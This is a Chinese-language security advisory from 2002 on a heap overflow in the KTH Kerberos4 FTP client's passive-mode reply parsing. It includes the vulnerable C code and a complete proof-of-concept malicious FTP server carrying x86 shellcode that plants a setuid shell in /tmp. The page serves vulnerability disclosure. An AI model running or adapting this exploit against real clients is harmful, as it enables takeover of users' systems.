xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

KTH eBones Kerberos4 FTP客户端被动模式堆溢出漏洞


发布时间:2002-04-27
更新时间:2002-04-27
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:客户机模式

BUGTRAQ ID:4592

受影响系统
KTH Kerberos 4 1.0.2
KTH Kerberos 4 1.0.3
KTH Kerberos 4 1.0.4
KTH Kerberos 4 1.1.1
   - Debian Linux 2.2 68k
   - Debian Linux 2.2 alpha
   - Debian Linux 2.2 arm
   - Debian Linux 2.2 IA-32
   - Debian Linux 2.2 powerpc
   - Debian Linux 2.2 sparc
   - Digital (Compaq) TRU64/DIGITAL UNIX 4.0 a
   - Digital (Compaq) TRU64/DIGITAL UNIX 4.0 d
   - Digital (Compaq) TRU64/DIGITAL UNIX 4.0 e
   - Digital (Compaq) TRU64/DIGITAL UNIX 4.0 f
   - Digital (Compaq) TRU64/DIGITAL UNIX 4.0 g
   - Digital (Compaq) TRU64/DIGITAL UNIX 5.0
   - FreeBSD FreeBSD 4.2
   - FreeBSD FreeBSD 4.3
   - FreeBSD FreeBSD 4.4
   - FreeBSD FreeBSD 4.5
   - HP HP-UX 10.20
   - HP HP-UX 11.0
   - HP HP-UX 11.11
   - HP HP-UX 11.20
   - IBM AIX 4.1
   - IBM AIX 4.1.1
   - IBM AIX 4.1.2
   - IBM AIX 4.1.3
   - IBM AIX 4.1.4
   - IBM AIX 4.1.5
   - IBM AIX 4.2
   - IBM AIX 4.2.1
   - IBM AIX 4.3
   - IBM AIX 4.3.1
   - IBM AIX 4.3.2
   - IBM AIX 4.3.3
   - MandrakeSoft Linux Mandrake 8.0
   - MandrakeSoft Linux Mandrake 8.0 ppc
   - MandrakeSoft Linux Mandrake 8.1
   - MandrakeSoft Linux Mandrake 8.1 ia64
   - MandrakeSoft Linux Mandrake 8.2
   - NetBSD NetBSD 1.4
   - NetBSD NetBSD 1.4.1
   - NetBSD NetBSD 1.4.2
   - NetBSD NetBSD 1.4.3
   - NetBSD NetBSD 1.5
   - NetBSD NetBSD 1.5.1
   - NetBSD NetBSD 1.5.2
   - OpenBSD OpenBSD 2.6
   - OpenBSD OpenBSD 2.7
   - OpenBSD OpenBSD 2.8
   - OpenBSD OpenBSD 2.9
   - RedHat Linux 6.2 alpha
   - RedHat Linux 6.2 i386
   - RedHat Linux 6.2 sparc
   - RedHat Linux 7.0 alpha
   - RedHat Linux 7.0 i386
   - RedHat Linux 7.0 sparc
   - RedHat Linux 7.1 i386
   - RedHat Linux 7.1 ia64
   - RedHat Linux 7.2 alpha
   - RedHat Linux 7.2 i386
   - RedHat Linux 7.2 ia64
   - S.u.S.E. Linux 7.1 alpha
   - S.u.S.E. Linux 7.1 ppc
   - S.u.S.E. Linux 7.1 sparc
   - S.u.S.E. Linux 7.1 x86
   - S.u.S.E. Linux 7.2 i386
   - S.u.S.E. Linux 7.3 i386
   - S.u.S.E. Linux 7.3 ppc
   - S.u.S.E. Linux 7.3 sparc
   - SGI IRIX 6.5.11 f
   - SGI IRIX 6.5.11 m
   - SGI IRIX 6.5.12 f
   - SGI IRIX 6.5.12 m
   - SGI IRIX 6.5.13 f
   - SGI IRIX 6.5.13 m
   - SGI IRIX 6.5.14 f
   - SGI IRIX 6.5.14 m
   - SGI IRIX 6.5.15 f
   - SGI IRIX 6.5.15 m
   - Sun Solaris 2.4
   - Sun Solaris 2.5
   - Sun Solaris 2.5 _x86
   - Sun Solaris 2.5.1
   - Sun Solaris 2.5.1 _x86
   - Sun Solaris 2.6
   - Sun Solaris 2.6 _x86
   - Sun Solaris 7.0
   - Sun Solaris 7.0 _x86
   - Sun Solaris 8.0
   - Sun Solaris 8.0 _x86
   - Sun SunOS 4.1
   - Sun SunOS 4.1.1
   - Sun SunOS 4.1.2
   - Sun SunOS 4.1.3
   - Sun SunOS 4.1.4
详细描述
由KTH分发和维护的Kerberos4 eBones FTP客户端实现存在一个堆溢出,问题只存在UNIX和LINUX系统下。

当客户端处理来自服务器端对客户端被动模式请求的响应时存在漏洞,超长的IP和端口类型的服务器'227'响应,可导致FTP客户端堆溢出,以FTP的进程执行任意命令。问题存在于如下代码:

krb4-1.1.1/appl/ftp/ftp/ftp.c
----------------
int
getreply (int expecteof)
{
.
.
.
if (code == 227 || code == 229) {
            char *p, *q;
            pasv[0] = 0;
            p = strchr (reply_string, '(');
            if (p) {
                p++;
                q = strchr(p, ')');
                if(q){
                memcpy (pasv, p, q - p); // <- heap overflow
                pasv[q - p] = 0;
                }
            }
            }
-------------

测试代码
/*
    Proof Of Concept exploit against Kerberos4-1.1.1 ftp client
    23/04/2002


    egg: x86 linux, 95 bytes
    
    cp /bin/ash /tmp/ash
    chmod 4755 /tmp/ash

    Marcell Fodor
    m.fodor@mail.datanet.hu
*/


#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>



#define HIT "\xa0\x01\x07\x08"
#define SERVERPORT (3568)
#define SEND(a) write(sock, a, strlen(a))
#define NOP 0x90

#define _BANNER    "220 evil ready\n"
#define _USER    "331 user oke\n"
#define _PASS    "230 pass oke\n"
#define _SYST    "215 evil\n"
#define _GO    "530 go on\n"
#define _END    "530 look what i did to you\n"


static unsigned char egg[] =

    "\x68\x2f\x62\x69\x6e\x5f\x6a\x70\x58\x66\x50\x66\x68\x2f\x63\x57"
    "\x54\x5b\x31\xf6\x56\x54\x5a\x68\x2f\x61\x73\x68\x59\x51\x57\x54"
    "\x5d\x56\x51\x68\x2f\x74\x6d\x70\x54\x59\x56\x51\x55\x53\x54\x51"
    "\x5d\x59\xb0\x02\xcd\x80\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1a"
    "\x31\xdb\x4b\x56\x54\x59\x31\xd2\x6a\x07\x58\xcd\x80\x31\xc9\x66"
    "\xb9\x6d\x09\x55\x5b\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80\x00";        




int
main(int argc, char *argv[])
{

  int c, sock, ret;
  int e = sizeof(struct sockaddr_in);
  struct sockaddr_in l, r;
  int serverport = SERVERPORT;



    l.sin_family = AF_INET;
    l.sin_port = htons(serverport);
    l.sin_addr.s_addr = INADDR_ANY;
    bzero(&(l.sin_zero), 8);
    c = socket(AF_INET, SOCK_STREAM, 0);


    ret = bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));
    if (ret)
     {
    printf("bind failed\n");
    _exit(0);
     }


    ret = listen(c, 1);
    if (ret)
     {
    printf("listen failed\n");
    _exit(0);
     }


    printf("Evil ftpd accepting connections on port:%d\n", serverport);
    while ((sock = accept(c, (struct sockaddr *) &r, &e)))
    {
        if (!fork())
        {
     int ret, ok = 0;
     char buffer[8192];

        SEND(_BANNER);

        do
         {

        memset(buffer, 0, sizeof(buffer));
        ret = read(sock, buffer, sizeof(buffer) - 1);
        if (ret < 1) _exit(0); /* hmm..?$#%! */
        
        if (!strncmp(buffer, "USER", 4)) SEND(_USER);
        else if (!strncmp(buffer, "PASS", 4)) SEND(_PASS);
        else if (!strncmp(buffer, "SYST", 4)) SEND(_SYST);
        else if (!strncmp(buffer, "PASV", 4)) ok = 1;
        else if (!strncmp(buffer, "EPRT", 4)) ok = 1;
        else SEND(_GO);

         } while(!ok);

        memset(buffer, 0, sizeof(buffer));
        strcpy(buffer, "227 (");
        memset(buffer + strlen(buffer), NOP, 1319);
        strcat(buffer, HIT);
        strcat(buffer, ")\n");
        
        memcpy(buffer + strlen(buffer) - 10 - strlen(egg), egg, strlen(egg));
        
        SEND(buffer);
        SEND(_END);

            close(sock);
        _exit(0);
        }
    
    close(sock);
    }
    
    _exit(0);
}

解决方案
尚无

相关信息
Marcell Fodor <m.fodor@mail.datanet.hu>.
参考:http://online.securityfocus.com/archive/1/269356
相关主页:http://www.pdc.kth.se/kth-krb/